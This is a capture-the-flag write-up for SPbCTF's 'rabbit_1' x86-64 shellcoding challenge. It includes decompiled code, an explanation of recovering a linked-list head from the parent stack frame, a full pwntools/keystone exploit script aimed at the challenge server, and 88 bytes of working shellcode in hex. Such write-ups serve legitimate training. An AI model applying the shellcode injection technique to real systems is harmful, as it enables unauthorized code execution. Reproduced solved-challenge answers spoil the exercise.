rabbit_1 (rabbit in forest)
rabbit_1 (rabbit in forest)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: keystone_assembly, linked_list_traversal, mmap_rx_exec, rbp_relative_pointer_recovery, shellcode_injection
Summary
Task: x86-64 PIE C++ shellcoding challenge that reads your shellcode into an mmap'd RW page, makes it RX and jumps to it; the flag is pre-loaded by a getFlag helper into one of 100 mmap'd singly-linked-list nodes. Solution: recover the list head from the parent frame ([rbp-8], unchanged because call rax does not touch rbp), walk node[0]=prev pointers, and write(1, node+8, 0x20) for the node whose 32-byte data starts with "SPBCTF". 88-byte newline-free shellcode assembled with keystone.
rabbit_1 (rabbit in forest) — pwn_spbctf
Description
Here is rabbit
Welcome to our rabbit in forrest service Rabbit begins with SPBCTF and it is hidden somewhere
Author: Artur Khanov (@awengar). Category: Pwn, tier pwn4 ("shellcoding").
Remote: nc 109.233.56.90 11617 (platform pwn.spbctf.ru). Binary: rabbit.elf
(x86-64, PIE, C++).
This is the first of a 3-part "rabbit in forest" shellcoding series that all share the same flag-hiding mechanic:
- rabbit_1 — no seccomp, any syscall allowed (this writeup).
- rabbit_2 — strict seccomp filter on the shellcode.
- rabbit_3 — strict seccomp + a tiny 64-byte shellcode buffer.
The shared mechanic (linked list of mmap'd nodes, flag pre-loaded into one node
by a getFlag helper, head recoverable from the parent frame) is documented in
full here so the harder variants only need to layer syscall restrictions on top.
Analysis
Control flow (main -> f1 @ 0x1351)
c read-only • copy allowedpage = mmap(0, 0x1000, PROT_READ|PROT_WRITE /*3*/, MAP_PRIVATE|MAP_ANON, -1, 0); memset(page, 0xC3, 0x3e8); // fill with 0xC3 = `ret` sled puts("Welcome to our rabbit in forrest service"); puts("Rabbit begins with SPBCTF and it is hidden somewhere"); fgets(page, 0x3e8, stdin); // reads up to 0x3e7 bytes of YOUR shellcode head = Hide(100); // hides the flag (see below) mprotect(page, 0x1000, PROT_READ|PROT_EXEC /*5*/); // page becomes RX ((void(*)())page)(); // call page; rax=page at entry, rbp UNCHANGED
Key constraints on the shellcode:
fgetsstops at a newline (0x0a), so the shellcode must be newline-free. Embedded NUL bytes are fine.- The page is pre-filled with
0xC3(ret), so any uninitialized tail is aretsled — irrelevant to us since we exit cleanly. - No seccomp in rabbit_1: any syscall is allowed (
write,exit, evenexecveif we wanted a shell — but the flag is in memory, so we just print it).
Hide(100) — the flag-hiding mechanic (reverse-engineered)
c read-only • copy allowednode* Hide(int n) { secret = rand() % 100; prev = NULL; for (i = 0; i < n; i++) { node = mmap(0, 0x48, RW, PRIV|ANON, -1, 0); // 0x48-byte node if (i == secret) getFlag(node + 8); // fopen("flag.txt"); fread(node+8,1,0x20,fp) else randstring(node + 8, 0x20); // 32 random bytes *(void**)node = prev; // node[0] = pointer to previous node prev = node; } return prev; // the LAST node == head }
Node layout (0x48 bytes allocated, only first 0x28 used):
node + 0x00 : prev pointer (8 bytes) <- singly linked list, 0 terminates
node + 0x08 : 32 data bytes <- flag "SPBCTF{...}" or random garbage
So after Hide(100) runs there are 100 mmap'd nodes chained via node[0]=prev.
Exactly one node (index secret) holds the real 32-byte flag at node+8; the
other 99 hold random bytes. The returned head is stored at f1's [rbp-0x8].
The crucial recon fact: call rax does not modify rbp
f1 sets up its frame with mov rbp, rsp at the prologue and never touches
rbp again before call rax. A call only pushes the return address and
jumps — it leaves rbp unchanged. Therefore, at the shellcode's first
instruction, rbp still equals f1's rbp, and the list head is directly
readable at [rbp-8]. No leak, no scanning — the head pointer is handed to us.
Solution
The shellcode:
mov rbx, [rbp-8]— load the list head from the parent frame.- Walk the chain: for each node, compare the 6 bytes at
node+8against"SPBCTF"(4 bytes"SPBC"=0x43425053, then 2 bytes"TF"=0x4654, both little-endian). - On match:
write(1, node+8, 0x20)thenexit(0). - On mismatch: follow
node = [node](prev pointer) until it is0.
Walking the linked list (rather than blindly scanning memory) is fault-free: we only ever dereference valid node pointers, so there is no SIGSEGV risk.
Assembling the shellcode
pwntools asm() fails on the arm64 macOS host (no x86 cross-assembler), so the
shellcode is assembled with keystone-engine (Ks(KS_ARCH_X86, KS_MODE_64)).
Result: 88 bytes, newline-free, worked first try.
python read-only • copy allowed#!/usr/bin/env python3 # Exploit for pwn_spbctf / pwn4_rabbit_1 import sys, re from keystone import Ks, KS_ARCH_X86, KS_MODE_64 from pwn import remote HOST, PORT = "109.233.56.90", 11617 # At entry: rbp == f1's rbp, head = [rbp-8]. # Node: [node+0]=prev ptr, [node+8..]=32 data bytes. List ends at prev==0. asm_src = r""" mov rbx, [rbp - 8] /* rbx = head */ loop_start: test rbx, rbx je not_found mov eax, dword ptr [rbx + 8] cmp eax, 0x43425053 /* "SPBC" little-endian */ jne next_node movzx eax, word ptr [rbx + 12] cmp ax, 0x4654 /* "TF" little-endian */ jne next_node mov rax, 1 /* write(1, rbx+8, 0x20) */ mov rdi, 1 lea rsi, [rbx + 8] mov rdx, 0x20 syscall mov rax, 60 /* exit(0) */ xor edi, edi syscall next_node: mov rbx, [rbx] /* rbx = prev node */ jmp loop_start not_found: mov rax, 60 /* exit(7) marker */ mov rdi, 7 syscall """ ks = Ks(KS_ARCH_X86, KS_MODE_64) sc = bytes(ks.asm(asm_src)[0]) assert b"\x0a" not in sc, "shellcode contains newline byte 0x0a!" p = remote(HOST, PORT) p.recvuntil(b"hidden somewhere") p.recvline() p.sendline(sc) # fgets terminates on the newline sendline adds data = p.recvall(timeout=10) m = re.search(rb"SPBCTF\{[^}]*\}", data) print("FLAG:", m.group(0).decode() if m else data)
Assembled shellcode bytes (88 bytes, newline-free)
488b5df84885db743f8b43083d5350424375300fb7430c663d5446752648c7c0
0100000048c7c701000000488d730848c7c2200000000f0548c7c03c00000031
ff0f05488b1bebbc48c7c03c00000048c7c7070000000f05